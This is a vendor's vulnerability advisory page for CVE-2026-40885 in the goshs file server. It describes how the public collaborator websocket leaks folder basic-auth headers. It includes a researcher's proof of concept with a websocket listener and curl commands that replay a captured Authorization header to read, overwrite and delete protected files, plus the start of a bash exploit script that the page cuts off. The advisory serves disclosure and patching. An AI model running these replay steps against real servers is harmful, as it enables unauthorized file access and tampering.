Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-40885 — goshs

🟠 CVSS 8.8 — High ✅ No Known Exploit NVD
8.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access

Summary

goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to .goshs-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including Authorization. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. I reproduced this on v2.0.0-beta.5, the latest supported release as of April 10, 2026.

Details

The main web UI and collaborator websocket stay public when goshs is started without global -b user:pass authentication:

  • httpserver/server.go:72-85 only installs BasicAuthMiddleware() when a global username or password is configured

The vulnerable request is logged before .goshs authorization is enforced:

  • httpserver/handler.go:277-279 calls emitCollabEvent() and logger.LogRequest() before the protected file is passed into ACL enforcement
  • httpserver/handler.go:291-309 performs folder-level .goshs authentication later in applyCustomAuth()

The collaborator pipeline copies and broadcasts every request header:

  • httpserver/collaborator.go:22-46 flattens all request headers, including Authorization, into the websocket event and sends them to the hub
  • ws/hub.go:77-84 fans the event out live to all connected websocket clients
  • ws/hub.go:116-122 replays up to 200 prior HTTP events to newly connected websocket clients via catchup

The frontend also makes the leak easier to understand by decoding authorization values:

  • assets/js/main.js:627-645 formats and decodes the Authorization header for display in the collaborator panel

In practice, a victim request such as:

```http

GET /ACLAuth/secret.txt

Authorization: Basic YWRtaW46YWRtaW4=

```

is visible to any public websocket observer before the protected file's ACL check is enforced. The attacker can then replay the leaked header against the same protected folder and gain the victim's effective access.

PoC

Manual verification commands used:

Terminal 1

```bash

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'

go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_collab_root

mkdir -p /tmp/goshs_collab_root/ACLAuth

cp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs

printf 'very secret\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt

/tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096

```

Terminal 2

```bash

node - <<'NODE'

const ws = new WebSocket('ws://127.0.0.1:18096/?ws');

ws.onmessage = (ev) => console.log(ev.data.toString());

NODE

```

Terminal 3

```bash

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt

curl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt

curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt

curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt

curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete'

```

Two terminal commands I ran during local validation:

```bash

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt

curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt

```

Observed results from manual verification:

  • the anonymous request returned 401
  • the victim request returned very secret
  • the replayed leaked header also returned very secret
  • the replayed PUT returned 200
  • the replayed ?delete returned 200
  • the public websocket showed Authorization":"Basic YWRtaW46YWRtaW4="

PoC Video 1:

https://github.com/user-attachments/assets/1347838e-28a0-4c9f-be9f-db7e2938c752

Single-script verification:

```bash

'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc4'

```

Observed script result:

  • Captured header: Basic YWRtaW46YWRtaW4=
  • Anonymous GET status: 401
  • Replayed-header GET body: very secret
  • Replayed-header PUT status: 200
  • Replayed-header delete status: 200
  • [RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree

PoC Video 2:

https://github.com/user-attachments/assets/b25648a9-b96c-46b3-9ee4-0ae4cc1c3472

gosh_poc4 script content:

```bash

#!/usr/bin/env bash

set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'

FIXTURE='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5/integration/keepFiles/goshsACLAuth'

BIN='/tmp/goshs_beta5_collab_leak'

PORT='18096'

WORKDIR="$(mktemp -d /tmp/goshs-collab-beta5-XXXXXX)"

ROOT="$WORKDIR/root"

WS_LOG="$WORKDIR/ws.log"

GOSHS_PID=""

WATCH_PID=""

cleanup() {

if [[ -n "${WATCH_PID:-}" ]];

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Affected software

CVE-2026-40885 is recorded against 3 packages.

  • github.com/patrickhener/goshs
  • github.com/patrickhener/goshs/v2
  • goshs

Timeline and source

Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)

Other advisories for this package

github.com/patrickhener/goshs has other advisories on record. If you are patching this one, these are worth checking on the same host:

Details

Severity High
CVSS Score 8.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE N/A
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-20
Modified 2026-06-25
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/patrickhener/goshs — —
github.com/patrickhener/goshs/v2 — —
goshs — —

Similar Threats

Site Security Check

Is goshs part of your stack?

CVE-2026-40885 is rated CVSS 8.8 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓